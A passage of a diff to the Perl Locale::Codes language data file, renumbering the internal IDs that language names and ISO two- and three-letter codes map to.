    q(yotti) => [
-      q(7709),
+      q(7706),
       q(0),
       ],
    q(youjiang zhuang) => [
-      q(7957),
+      q(7954),
       q(0),
       ],
    q(youle jinuo) => [
-      q(3102),
+      q(3100),
       q(0),
       ],
    q(younuo bunu) => [
-      q(1499),
+      q(1498),
       q(0),
       ],
    q(yout wam) => [
-      q(7745),
+      q(7742),
       q(0),
       ],
    q(yoy) => [
-      q(7711),
+      q(7708),
       q(0),
       ],
    q(yuanga) => [
-      q(5099),
+      q(5095),
       q(0),
       ],
    q(yucatec maya) => [
-      q(7747),
+      q(7744),
       q(1),
       ],
    q(yucatec maya sign language) => [
-      q(4526),
+      q(4525),
       q(0),
       ],
    q(yucateco) => [
-      q(7747),
+      q(7744),
       q(0),
       ],
    q(yuchi) => [
-      q(7749),
+      q(7746),
       q(0),
       ],
    q(yucuane mixtec) => [
-      q(4599),
+      q(4598),
       q(0),
       ],
    q(yucuna) => [
-      q(7599),
+      q(7596),
       q(0),
       ],
    q(yue chinese) => [
-      q(7751),
+      q(7748),
       q(0),
       ],
    q(yug) => [
-      q(7753),
+      q(7750),
       q(0),
       ],
    q(yugambal) => [
-      q(7748),
+      q(7745),
       q(0),
       ],
    q(yugoslavian sign language) => [
-      q(7735),
+      q(7732),
       q(0),
       ],
    q(yugul) => [
-      q(7625),
+      q(7622),
       q(0),
       ],
    q(yuhup) => [
-      q(7561),
+      q(7558),
       q(0),
       ],
    q(yuki) => [
-      q(7756),
+      q(7753),
       q(0),
       ],
    q(yukpa) => [
-      q(7760),
+      q(7757),
       q(0),
       ],
    q(yukuben) => [
-      q(7591),
+      q(7588),
       q(0),
       ],
    q(yulu) => [
-      q(7757),
+      q(7754),
       q(0),
       ],
    q(yupik languages) => [
-      q(0477),
+      q(0476),
       q(0),
       ],
    q(yuqui) => [
-      q(7761),
+      q(7758),
       q(0),
       ],
    q(yuracare) => [
-      q(7767),
+      q(7764),
       q(0),
       ],
    q(yurats) => [
@@ -57259,7 +57193,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yurok) => [
-      q(7762),
+      q(7759),
       q(0),
       ],
    q(yuru) => [
@@ -57267,115 +57201,115 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yuruti) => [
-      q(7754),
+      q(7751),
       q(0),
       ],
    q(yutanduchi mixtec) => [
-      q(4108),
+      q(4107),
       q(0),
       ],
    q(yuwana) => [
-      q(7578),
+      q(7575),
       q(0),
       ],
    q(yuyu) => [
-      q(7783),
+      q(7780),
       q(0),
       ],
    q(ywom) => [
-      q(2479),
+      q(2478),
       q(0),
       ],
    q(zaachila zapotec) => [
-      q(7948),
+      q(7945),
       q(0),
       ],
    q(zabana) => [
-      q(3383),
+      q(3382),
       q(0),
       ],
    q(zacatepec chatino) => [
-      q(1897),
+      q(1896),
       q(0),
       ],
    q(zacatlan-ahuacatlan-tepetzintla nahuatl) => [
-      q(4861),
+      q(4859),
       q(0),
       ],
    q(zaghawa) => [
-      q(7796),
+      q(7793),
       q(0),
       ],
    q(zaiwa) => [
-      q(0911),
+      q(0910),
       q(0),
       ],
    q(zakhring) => [
-      q(7852),
+      q(7849),
       q(0),
       ],
    q(zambian sign language) => [
-      q(7934),
+      q(7931),
       q(0),
       ],
    q(zan gula) => [
-      q(7887),
+      q(7884),
       q(0),
       ],
    q(zanaki) => [
-      q(7800),
+      q(7797),
       q(0),
       ],
    q(zande (individual language)) => [
-      q(7888),
+      q(7885),
       q(0),
       ],
    q(zande languages) => [
-      q(0483),
+      q(0482),
       q(0),
       ],
    q(zangskari) => [
-      q(7808),
+      q(7805),
       q(0),
       ],
    q(zangwal) => [
-      q(7797),
+      q(7794),
       q(0),
       ],
    q(zaniza zapotec) => [
-      q(7921),
+      q(7918),
       q(0),
       ],
    q(zaparo) => [
-      q(7929),
+      q(7926),
       q(0),
       ],
    q(zapotec) => [
-      q(0478),
+      q(0477),
       q(0),
       ],
    q(zaramo) => [
-      q(7799),
+      q(7796),
       q(0),
       ],
    q(zari) => [
-      q(7813),
+      q(7810),
       q(0),
       ],
    q(zarma) => [
-      q(2056),
+      q(2055),
       q(0),
       ],
    q(zarphatic) => [
-      q(7930),
+      q(7927),
       q(0),
       ],
    q(zauzou) => [
-      q(7801),
+      q(7798),
       q(0),
       ],
    q(zay) => [
-      q(7954),
+      q(7951),
       q(0),
       ],
    q(zayein karen) => [
@@ -57383,175 +57317,175 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(zayse-zergulla) => [
-      q(7812),
+      q(7809),
       q(0),
       ],
    q(zaysete) => [
-      q(7812),
+      q(7809),
       q(1),
       ],
    q(zaza) => [
-      q(0487),
+      q(0486),
       q(0),
       ],
    q(zazaki) => [
-      q(0487),
+      q(0486),
       q(5),
       ],
    q(zazao) => [
-      q(3046),
+      q(3043),
       q(0),
       ],
    q(zeem) => [
-      q(7950),
+      q(7947),
       q(0),
       ],
    q(zeeuws) => [
-      q(7821),
+      q(7818),
       q(0),
       ],
    q(zemba) => [
-      q(2020),
+      q(2019),
       q(0),
       ],
    q(zeme naga) => [
-      q(5175),
+      q(5171),
       q(0),
       ],
    q(zemgalian) => [
-      q(7558),
+      q(7555),
       q(0),
       ],
    q(zenag) => [
-      q(7822),
+      q(7819),
       q(0),
       ],
    q(zenaga) => [
-      q(0480),
+      q(0479),
       q(0),
       ],
    q(zenzontepec chatino) => [
-      q(1929),
+      q(1928),
       q(0),
       ],
    q(zerenkel) => [
-      q(7928),
+      q(7925),
       q(0),
       ],
    q(zhaba) => [
-      q(7829),
+      q(7826),
       q(0),
       ],
    q(zhang-zhung) => [
-      q(7557),
+      q(7554),
       q(0),
       ],
    q(zhire) => [
-      q(7831),
+      q(7828),
       q(0),
       ],
    q(zhoa) => [
-      q(7833),
+      q(7830),
       q(0),
       ],
    q(zhuang) => [
-      q(0482),
+      q(0481),
       q(0),
       ],
    q(zia) => [
-      q(7834),
+      q(7831),
       q(0),
       ],
    q(zialo) => [
-      q(7837),
+      q(7834),
       q(0),
       ],
    q(zigula) => [
-      q(7841),
+      q(7838),
       q(0),
       ],
    q(zimakani) => [
-      q(7836),
+      q(7833),
       q(0),
       ],
    q(zimba) => [
-      q(7862),
+      q(7859),
       q(0),
       ],
    q(zimbabwe sign language) => [
-      q(7835),
+      q(7832),
       q(0),
       ],
    q(zinza) => [
-      q(7839),
+      q(7836),
       q(0),
       ],
    q(zire) => [
-      q(6030),
+      q(6029),
       q(0),
       ],
    q(ziriya) => [
-      q(7840),
+      q(7837),
       q(0),
       ],
    q(zizilivakan) => [
-      q(7842),
+      q(7839),
       q(0),
       ],
    q(zo'e) => [
-      q(5624),
+      q(5621),
       q(0),
       ],
    q(zokhuo) => [
-      q(7789),
+      q(7786),
       q(0),
       ],
    q(zoogocho zapotec) => [
-      q(7915),
+      q(7912),
       q(0),
       ],
    q(zoroastrian dari) => [
-      q(2441),
+      q(2440),
       q(0),
       ],
    q(zorop) => [
-      q(7101),
+      q(7099),
       q(1),
       ],
    q(zotung chin) => [
-      q(1931),
+      q(1930),
       q(0),
       ],
    q(zou) => [
-      q(7894),
+      q(7891),
       q(0),
       ],
    q(zulgo-gemzek) => [
-      q(2568),
+      q(2566),
       q(0),
       ],
    q(zulu) => [
-      q(0484),
+      q(0483),
       q(0),
       ],
    q(zumaya) => [
-      q(7953),
+      q(7950),
       q(0),
       ],
    q(zumbun) => [
-      q(3116),
+      q(3114),
       q(0),
       ],
    q(zuni) => [
-      q(0485),
+      q(0484),
       q(0),
       ],
    q(zuojiang zhuang) => [
-      q(7960),
+      q(7957),
       q(0),
       ],
    q(zyphe chin) => [
-      q(7959),
+      q(7956),
       q(0),
       ],
 };
@@ -57635,7 +57569,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bo) => [
-         q(0428),
+         q(0427),
          q(0),
          ],
       q(br) => [
@@ -57659,15 +57593,15 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(co) => [
-         q(0093),
+         q(0092),
          q(0),
          ],
       q(cr) => [
-         q(0097),
+         q(0096),
          q(0),
          ],
       q(cs) => [
-         q(0102),
+         q(0101),
          q(0),
          ],
       q(cu) => [
@@ -57679,47 +57613,47 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cy) => [
-         q(0467),
+         q(0466),
          q(0),
          ],
       q(da) => [
-         q(0104),
+         q(0103),
          q(0),
          ],
       q(de) => [
-         q(0151),
+         q(0150),
          q(0),
          ],
       q(dv) => [
-         q(0111),
+         q(0110),
          q(1),
          ],
       q(dz) => [
-         q(0119),
+         q(0118),
          q(0),
          ],
       q(ee) => [
-         q(0128),
+         q(0127),
          q(0),
          ],
       q(el) => [
-         q(0165),
+         q(0164),
          q(2),
          ],
       q(en) => [
-         q(0124),
+         q(0123),
          q(0),
          ],
       q(eo) => [
-         q(0126),
+         q(0125),
          q(0),
          ],
       q(es) => [
-         q(0402),
+         q(0401),
          q(0),
          ],
       q(et) => [
-         q(0127),
+         q(0126),
          q(0),
          ],
       q(eu) => [
@@ -57727,83 +57661,83 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(fa) => [
-         q(0343),
+         q(0342),
          q(0),
          ],
       q(ff) => [
-         q(0144),
+         q(0143),
          q(0),
          ],
       q(fi) => [
-         q(0135),
+         q(0134),
          q(0),
          ],
       q(fj) => [
-         q(0133),
+         q(0132),
          q(0),
          ],
       q(fo) => [
-         q(0131),
+         q(0130),
          q(0),
          ],
       q(fr) => [
-         q(0138),
+         q(0137),
          q(0),
          ],
       q(fy) => [
-         q(0143),
+         q(0142),
          q(0),
          ],
       q(ga) => [
-         q(0155),
+         q(0154),
          q(0),
          ],
       q(gd) => [
-         q(0154),
+         q(0153),
          q(1),
          ],
       q(gl) => [
-         q(0156),
+         q(0155),
          q(0),
          ],
       q(gn) => [
-         q(0166),
+         q(0165),
          q(0),
          ],
       q(gu) => [
-         q(0168),
+         q(0167),
          q(0),
          ],
       q(gv) => [
-         q(0157),
+         q(0156),
          q(0),
          ],
       q(ha) => [
-         q(0172),
+         q(0171),
          q(0),
          ],
       q(he) => [
-         q(0174),
+         q(0173),
          q(0),
          ],
       q(hi) => [
-         q(0178),
+         q(0177),
          q(0),
          ],
       q(ho) => [
-         q(0181),
+         q(0180),
          q(0),
          ],
       q(hr) => [
-         q(0182),
+         q(0181),
          q(0),
          ],
       q(ht) => [
-         q(0171),
+         q(0170),
          q(0),
          ],
       q(hu) => [
-         q(0184),
+         q(0183),
          q(0),
          ],
       q(hy) => [
@@ -57811,187 +57745,187 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(hz) => [
-         q(0175),
+         q(0174),
          q(0),
          ],
       q(ia) => [
-         q(0195),
+         q(0194),
          q(0),
          ],
       q(id) => [
-         q(0197),
+         q(0196),
          q(0),
          ],
       q(ie) => [
-         q(0193),
+         q(0192),
          q(0),
          ],
       q(ig) => [
-         q(0187),
+         q(0186),
          q(0),
          ],
       q(ii) => [
-         q(0190),
+         q(0189),
          q(0),
          ],
       q(ik) => [
-         q(0200),
+         q(0199),
          q(0),
          ],
       q(io) => [
-         q(0189),
+         q(0188),
          q(0),
          ],
       q(is) => [
-         q(0188),
+         q(0187),
          q(0),
          ],
       q(it) => [
-         q(0203),
+         q(0202),
          q(0),
          ],
       q(iu) => [
-         q(0192),
+         q(0191),
          q(0),
          ],
       q(ja) => [
-         q(0206),
+         q(0205),
          q(0),
          ],
       q(jv) => [
-         q(0204),
+         q(0203),
          q(0),
          ],
       q(ka) => [
-         q(0150),
+         q(0149),
          q(0),
          ],
       q(kg) => [
-         q(0231),
+         q(0230),
          q(0),
          ],
       q(ki) => [
-         q(0225),
+         q(0224),
          q(0),
          ],
       q(kj) => [
-         q(0239),
+         q(0238),
          q(0),
          ],
       q(kk) => [
-         q(0219),
+         q(0218),
          q(0),
          ],
       q(kl) => [
-         q(0212),
+         q(0211),
          q(0),
          ],
       q(km) => [
-         q(0223),
+         q(0222),
          q(0),
          ],
       q(kn) => [
-         q(0214),
+         q(0213),
          q(0),
          ],
       q(ko) => [
-         q(0232),
+         q(0231),
          q(0),
          ],
       q(kr) => [
-         q(0217),
+         q(0216),
          q(0),
          ],
       q(ks) => [
-         q(0216),
+         q(0215),
          q(0),
          ],
       q(ku) => [
-         q(0241),
+         q(0240),
          q(0),
          ],
       q(kv) => [
-         q(0230),
+         q(0229),
          q(0),
          ],
       q(kw) => [
-         q(0092),
+         q(0091),
          q(0),
          ],
       q(ky) => [
-         q(0227),
+         q(0226),
          q(0),
          ],
       q(la) => [
-         q(0247),
+         q(0246),
          q(0),
          ],
       q(lb) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(lg) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(li) => [
-         q(0250),
+         q(0249),
          q(0),
          ],
       q(ln) => [
-         q(0251),
+         q(0250),
          q(0),
          ],
       q(lo) => [
-         q(0246),
+         q(0245),
          q(0),
          ],
       q(lt) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(lu) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
       q(lv) => [
-         q(0248),
+         q(0247),
          q(0),
          ],
       q(mg) => [
-         q(0284),
+         q(0283),
          q(0),
          ],
       q(mh) => [
-         q(0266),
+         q(0265),
          q(0),
          ],
       q(mi) => [
-         q(0271),
+         q(0270),
          q(0),
          ],
       q(mk) => [
-         q(0263),
+         q(0262),
          q(0),
          ],
       q(ml) => [
-         q(0269),
+         q(0268),
          q(0),
          ],
       q(mn) => [
-         q(0290),
+         q(0289),
          q(0),
          ],
       q(mr) => [
-         q(0273),
+         q(0272),
          q(0),
          ],
       q(ms) => [
-         q(0275),
+         q(0274),
          q(1),
          ],
       q(mt) => [
-         q(0285),
+         q(0284),
          q(0),
          ],
       q(my) => [
@@ -57999,159 +57933,159 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(na) => [
-         q(0302),
+         q(0301),
          q(0),
          ],
       q(nb) => [
-         q(0314),
+         q(0313),
          q(1),
          ],
       q(nd) => [
-         q(0305),
+         q(0304),
          q(1),
          ],
       q(ne) => [
-         q(0308),
+         q(0307),
          q(1),
          ],
       q(ng) => [
-         q(0306),
+         q(0305),
          q(0),
          ],
       q(nl) => [
-         q(0117),
+         q(0116),
          q(0),
          ],
       q(nn) => [
-         q(0313),
+         q(0312),
          q(0),
          ],
       q(no) => [
-         q(0317),
+         q(0316),
          q(0),
          ],
       q(nr) => [
-         q(0304),
+         q(0303),
          q(1),
          ],
       q(nv) => [
-         q(0303),
+         q(0302),
          q(0),
          ],
       q(ny) => [
-         q(0322),
+         q(0321),
          q(2),
          ],
       q(oc) => [
-         q(0327),
+         q(0326),
          q(0),
          ],
       q(oj) => [
-         q(0328),
+         q(0327),
          q(0),
          ],
       q(om) => [
-         q(0330),
+         q(0329),
          q(0),
          ],
       q(or) => [
-         q(0329),
+         q(0328),
          q(1),
          ],
       q(os) => [
-         q(0332),
+         q(0331),
          q(0),
          ],
       q(pa) => [
-         q(0339),
+         q(0338),
          q(0),
          ],
       q(pi) => [
-         q(0346),
+         q(0345),
          q(0),
          ],
       q(pl) => [
-         q(0347),
+         q(0346),
          q(0),
          ],
       q(ps) => [
-         q(0352),
+         q(0351),
          q(0),
          ],
       q(pt) => [
-         q(0349),
+         q(0348),
          q(0),
          ],
       q(qu) => [
-         q(0354),
+         q(0353),
          q(0),
          ],
       q(rm) => [
-         q(0359),
+         q(0358),
          q(0),
          ],
       q(rn) => [
-         q(0362),
+         q(0361),
          q(0),
          ],
       q(ro) => [
-         q(0361),
+         q(0360),
          q(0),
          ],
       q(ru) => [
-         q(0364),
+         q(0363),
          q(0),
          ],
       q(rw) => [
-         q(0226),
+         q(0225),
          q(0),
          ],
       q(sa) => [
-         q(0371),
+         q(0370),
          q(0),
          ],
       q(sc) => [
-         q(0403),
+         q(0402),
          q(0),
          ],
       q(sd) => [
-         q(0396),
+         q(0395),
          q(0),
          ],
       q(se) => [
-         q(0389),
+         q(0388),
          q(0),
          ],
       q(sg) => [
-         q(0366),
+         q(0365),
          q(0),
          ],
       q(sh) => [
-         q(0538),
+         q(0537),
          q(0),
          ],
       q(si) => [
-         q(0382),
+         q(0381),
          q(0),
          ],
       q(sk) => [
-         q(0386),
+         q(0385),
          q(0),
          ],
       q(sl) => [
-         q(0387),
+         q(0386),
          q(0),
          ],
       q(sm) => [
-         q(0393),
+         q(0392),
          q(0),
          ],
       q(sn) => [
-         q(0395),
+         q(0394),
          q(0),
          ],
       q(so) => [
-         q(0399),
+         q(0398),
          q(0),
          ],
       q(sq) => [
@@ -58159,135 +58093,135 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sr) => [
-         q(0405),
+         q(0404),
          q(0),
          ],
       q(ss) => [
-         q(0408),
+         q(0407),
          q(0),
          ],
       q(st) => [
-         q(0401),
+         q(0400),
          q(1),
          ],
       q(su) => [
-         q(0410),
+         q(0409),
          q(0),
          ],
       q(sv) => [
-         q(0414),
+         q(0413),
          q(0),
          ],
       q(sw) => [
-         q(0413),
+         q(0412),
          q(1),
          ],
       q(ta) => [
-         q(0419),
+         q(0418),
          q(0),
          ],
       q(te) => [
-         q(0421),
+         q(0420),
          q(0),
          ],
       q(tg) => [
-         q(0425),
+         q(0424),
          q(0),
          ],
       q(th) => [
-         q(0427),
+         q(0426),
          q(0),
          ],
       q(ti) => [
-         q(0430),
+         q(0429),
          q(0),
          ],
       q(tk) => [
-         q(0442),
+         q(0441),
          q(0),
          ],
       q(tl) => [
-         q(0426),
+         q(0425),
          q(0),
          ],
       q(tn) => [
-         q(0440),
+         q(0439),
          q(0),
          ],
       q(to) => [
-         q(0437),
+         q(0436),
          q(0),
          ],
       q(tr) => [
-         q(0445),
+         q(0444),
          q(0),
          ],
       q(ts) => [
-         q(0441),
+         q(0440),
          q(0),
          ],
       q(tt) => [
-         q(0420),
+         q(0419),
          q(0),
          ],
       q(tw) => [
-         q(0448),
+         q(0447),
          q(0),
          ],
       q(ty) => [
-         q(0417),
+         q(0416),
          q(0),
          ],
       q(ug) => [
-         q(0452),
+         q(0451),
          q(0),
          ],
       q(uk) => [
-         q(0453),
+         q(0452),
          q(0),
          ],
       q(ur) => [
-         q(0456),
+         q(0455),
          q(0),
          ],
       q(uz) => [
-         q(0457),
+         q(0456),
          q(0),
          ],
       q(ve) => [
-         q(0459),
+         q(0458),
          q(0),
          ],
       q(vi) => [
-         q(0460),
+         q(0459),
          q(0),
          ],
       q(vo) => [
-         q(0461),
+         q(0460),
          q(0),
          ],
       q(wa) => [
-         q(0469),
+         q(0468),
          q(0),
          ],
       q(wo) => [
-         q(0470),
+         q(0469),
          q(0),
          ],
       q(xh) => [
-         q(0472),
+         q(0471),
          q(0),
          ],
       q(yi) => [
-         q(0475),
+         q(0474),
          q(0),
          ],
       q(yo) => [
-         q(0476),
+         q(0475),
          q(0),
          ],
       q(za) => [
-         q(0482),
+         q(0481),
          q(0),
          ],
       q(zh) => [
@@ -58295,69 +58229,69 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(zu) => [
-         q(0484),
+         q(0483),
          q(0),
          ],
       },
    q(alpha-3) => {
       q(aaa) => [
-         q(0539),
+         q(0538),
          q(0),
          ],
       q(aab) => [
-         q(0540),
+         q(0539),
          q(0),
          ],
       q(aac) => [
-         q(0541),
+         q(0540),
          q(0),
          ],
       q(aad) => [
-         q(0542),
+         q(0541),
          q(0),
          ],
       q(aae) => [
-         q(0543),
+         q(0542),
          q(0),
          ],
       q(aaf) => [
-         q(0544),
+         q(0543),
          q(0),
          ],
       q(aag) => [
-         q(0545),
+         q(0544),
          q(0),
          ],
       q(aah) => [
-         q(0546),
+         q(0545),
          q(0),
          ],
       q(aai) => [
-         q(0547),
+         q(0546),
          q(0),
          ],
       q(aak) => [
-         q(0548),
+         q(0547),
          q(0),
          ],
       q(aal) => [
-         q(0549),
+         q(0548),
          q(0),
          ],
       q(aan) => [
-         q(0550),
+         q(0549),
          q(0),
          ],
       q(aao) => [
-         q(0551),
+         q(0550),
          q(0),
          ],
       q(aap) => [
-         q(0552),
+         q(0551),
          q(0),
          ],
       q(aaq) => [
-         q(0553),
+         q(0552),
          q(0),
          ],
       q(aar) => [
@@ -58365,71 +58299,71 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(aas) => [
-         q(0554),
+         q(0553),
          q(0),
          ],
       q(aat) => [
-         q(0555),
+         q(0554),
          q(0),
          ],
       q(aau) => [
-         q(0556),
+         q(0555),
          q(0),
          ],
       q(aav) => [
-         q(0488),
+         q(0487),
          q(0),
          ],
       q(aaw) => [
-         q(0557),
+         q(0556),
          q(0),
          ],
       q(aax) => [
-         q(0558),
+         q(0557),
          q(0),
          ],
       q(aaz) => [
-         q(0559),
+         q(0558),
          q(0),
          ],
       q(aba) => [
-         q(0560),
+         q(0559),
          q(0),
          ],
       q(abb) => [
-         q(0561),
+         q(0560),
          q(0),
          ],
       q(abc) => [
-         q(0562),
+         q(0561),
          q(0),
          ],
       q(abd) => [
-         q(0563),
+         q(0562),
          q(0),
          ],
       q(abe) => [
-         q(0564),
+         q(0563),
          q(0),
          ],
       q(abf) => [
-         q(0565),
+         q(0564),
          q(0),
          ],
       q(abg) => [
-         q(0566),
+         q(0565),
          q(0),
          ],
       q(abh) => [
-         q(0567),
+         q(0566),
          q(0),
          ],
       q(abi) => [
-         q(0568),
+         q(0567),
          q(0),
          ],
       q(abj) => [
-         q(0569),
+         q(0568),
          q(0),
          ],
       q(abk) => [
@@ -58437,75 +58371,75 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(abl) => [
-         q(0570),
+         q(0569),
          q(0),
          ],
       q(abm) => [
-         q(0571),
+         q(0570),
          q(0),
          ],
       q(abn) => [
-         q(0572),
+         q(0571),
          q(0),
          ],
       q(abo) => [
-         q(0573),
+         q(0572),
          q(0),
          ],
       q(abp) => [
-         q(0574),
+         q(0573),
          q(0),
          ],
       q(abq) => [
-         q(0575),
+         q(0574),
          q(0),
          ],
       q(abr) => [
-         q(0576),
+         q(0575),
          q(0),
          ],
       q(abs) => [
-         q(0577),
+         q(0576),
          q(0),
          ],
       q(abt) => [
-         q(0578),
+         q(0577),
          q(0),
          ],
       q(abu) => [
-         q(0579),
+         q(0578),
          q(0),
          ],
       q(abv) => [
-         q(0580),
+         q(0579),
          q(0),
          ],
       q(abw) => [
-         q(0581),
+         q(0580),
          q(0),
          ],
       q(abx) => [
-         q(0582),
+         q(0581),
          q(0),
          ],
       q(aby) => [
-         q(0583),
+         q(0582),
          q(0),
          ],
       q(abz) => [
-         q(0584),
+         q(0583),
          q(0),
          ],
       q(aca) => [
-         q(0585),
+         q(0584),
          q(0),
          ],
       q(acb) => [
-         q(0586),
+         q(0585),
          q(0),
          ],
       q(acd) => [
-         q(0587),
+         q(0586),
          q(0),
          ],
       q(ace) => [
@@ -58513,7 +58447,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(acf) => [
-         q(0588),
+         q(0587),
          q(0),
          ],
       q(ach) => [
@@ -58521,67 +58455,67 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(aci) => [
-         q(0589),
+         q(0588),
          q(0),
          ],
       q(ack) => [
-         q(0590),
+         q(0589),
          q(0),
          ],
       q(acl) => [
-         q(0591),
+         q(0590),
          q(0),
          ],
       q(acm) => [
-         q(0592),
+         q(0591),
          q(0),
          ],
       q(acn) => [
-         q(0593),
+         q(0592),
          q(0),
          ],
       q(acp) => [
-         q(0594),
+         q(0593),
          q(0),
          ],
       q(acq) => [
-         q(0595),
+         q(0594),
          q(0),
          ],
       q(acr) => [
-         q(0596),
+         q(0595),
          q(0),
          ],
       q(acs) => [
-         q(0597),
+         q(0596),
          q(0),
          ],
       q(act) => [
-         q(0598),
+         q(0597),
          q(0),
          ],
       q(acu) => [
-         q(0599),
+         q(0598),
          q(0),
          ],
       q(acv) => [
-         q(0600),
+         q(0599),
          q(0),
          ],
       q(acw) => [
-         q(0601),
+         q(0600),
          q(0),
          ],
       q(acx) => [
-         q(0602),
+         q(0601),
          q(0),
          ],
       q(acy) => [
-         q(0603),
+         q(0602),
          q(0),
          ],
       q(acz) => [
-         q(0604),
+         q(0603),
          q(0),
          ],
       q(ada) => [
@@ -58589,75 +58523,75 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(adb) => [
-         q(0605),
+         q(0604),
          q(0),
          ],
       q(add) => [
-         q(0606),
+         q(0605),
          q(0),
          ],
       q(ade) => [
-         q(0607),
+         q(0606),
          q(0),
          ],
       q(adf) => [
-         q(0608),
+         q(0607),
          q(0),
          ],
       q(adg) => [
-         q(0609),
+         q(0608),
          q(0),
          ],
       q(adh) => [
-         q(0610),
+         q(0609),
          q(0),
          ],
       q(adi) => [
-         q(0611),
+         q(0610),
          q(0),
          ],
       q(adj) => [
-         q(0612),
+         q(0611),
          q(0),
          ],
       q(adl) => [
-         q(0613),
+         q(0612),
          q(0),
          ],
       q(adn) => [
-         q(0614),
+         q(0613),
          q(0),
          ],
       q(ado) => [
-         q(0615),
+         q(0614),
          q(0),
          ],
       q(adq) => [
-         q(0616),
+         q(0615),
          q(0),
          ],
       q(adr) => [
-         q(0617),
+         q(0616),
          q(0),
          ],
       q(ads) => [
-         q(0618),
+         q(0617),
          q(0),
          ],
       q(adt) => [
-         q(0619),
+         q(0618),
          q(0),
          ],
       q(adu) => [
-         q(0620),
+         q(0619),
          q(0),
          ],
       q(adw) => [
-         q(0621),
+         q(0620),
          q(0),
          ],
       q(adx) => [
-         q(0622),
+         q(0621),
          q(0),
          ],
       q(ady) => [
@@ -58665,71 +58599,71 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(adz) => [
-         q(0623),
+         q(0622),
          q(0),
          ],
       q(aea) => [
-         q(0624),
+         q(0623),
          q(0),
          ],
       q(aeb) => [
-         q(0625),
+         q(0624),
          q(0),
          ],
       q(aec) => [
-         q(0626),
+         q(0625),
          q(0),
          ],
       q(aed) => [
-         q(0627),
+         q(0626),
          q(0),
          ],
       q(aee) => [
-         q(0628),
+         q(0627),
          q(0),
          ],
       q(aek) => [
-         q(0629),
+         q(0628),
          q(0),
          ],
       q(ael) => [
-         q(0630),
+         q(0629),
          q(0),
          ],
       q(aem) => [
-         q(0631),
+         q(0630),
          q(0),
          ],
       q(aen) => [
-         q(0632),
+         q(0631),
          q(0),
          ],
       q(aeq) => [
-         q(0633),
+         q(0632),
          q(0),
          ],
       q(aer) => [
-         q(0634),
+         q(0633),
          q(0),
          ],
       q(aes) => [
-         q(0635),
+         q(0634),
          q(0),
          ],
       q(aeu) => [
-         q(0636),
+         q(0635),
          q(0),
          ],
       q(aew) => [
-         q(0637),
+         q(0636),
          q(0),
          ],
       q(aey) => [
-         q(0638),
+         q(0637),
          q(0),
          ],
       q(aez) => [
-         q(0639),
+         q(0638),
          q(0),
          ],
       q(afa) => [
@@ -58737,19 +58671,19 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(afb) => [
-         q(0640),
+         q(0639),
          q(0),
          ],
       q(afd) => [
-         q(0641),
+         q(0640),
          q(0),
          ],
       q(afe) => [
-         q(0642),
+         q(0641),
          q(0),
          ],
       q(afg) => [
-         q(0643),
+         q(0642),
          q(0),
          ],
       q(afh) => [
@@ -58757,23 +58691,23 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(afi) => [
-         q(0644),
+         q(0643),
          q(0),
          ],
       q(afk) => [
-         q(0645),
+         q(0644),
          q(0),
          ],
       q(afn) => [
-         q(0646),
+         q(0645),
          q(0),
          ],
       q(afo) => [
-         q(0647),
+         q(0646),
          q(0),
          ],
       q(afp) => [
-         q(0648),
+         q(0647),
          q(0),
          ],
       q(afr) => [
@@ -58781,227 +58715,227 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(afs) => [
-         q(0649),
+         q(0648),
          q(0),
          ],
       q(aft) => [
-         q(0650),
+         q(0649),
          q(0),
          ],
       q(afu) => [
-         q(0651),
+         q(0650),
          q(0),
          ],
       q(afz) => [
-         q(0652),
+         q(0651),
          q(0),
          ],
       q(aga) => [
-         q(0653),
+         q(0652),
          q(0),
          ],
       q(agb) => [
-         q(0654),
+         q(0653),
          q(0),
          ],
       q(agc) => [
-         q(0655),
+         q(0654),
          q(0),
          ],
       q(agd) => [
-         q(0656),
+         q(0655),
          q(0),
          ],
       q(age) => [
-         q(0657),
+         q(0656),
          q(0),
          ],
       q(agf) => [
-         q(0658),
+         q(0657),
          q(0),
          ],
       q(agg) => [
-         q(0659),
+         q(0658),
          q(0),
          ],
       q(agh) => [
-         q(0660),
+         q(0659),
          q(0),
          ],
       q(agi) => [
-         q(0661),
+         q(0660),
          q(0),
          ],
       q(agj) => [
-         q(0662),
+         q(0661),
          q(0),
          ],
       q(agk) => [
-         q(0663),
+         q(0662),
          q(0),
          ],
       q(agl) => [
-         q(0664),
+         q(0663),
          q(0),
          ],
       q(agm) => [
-         q(0665),
+         q(0664),
          q(0),
          ],
       q(agn) => [
-         q(0666),
+         q(0665),
          q(0),
          ],
       q(ago) => [
-         q(0667),
+         q(0666),
          q(0),
          ],
       q(agq) => [
-         q(0668),
+         q(0667),
          q(0),
          ],
       q(agr) => [
-         q(0669),
+         q(0668),
          q(0),
          ],
       q(ags) => [
-         q(0670),
+         q(0669),
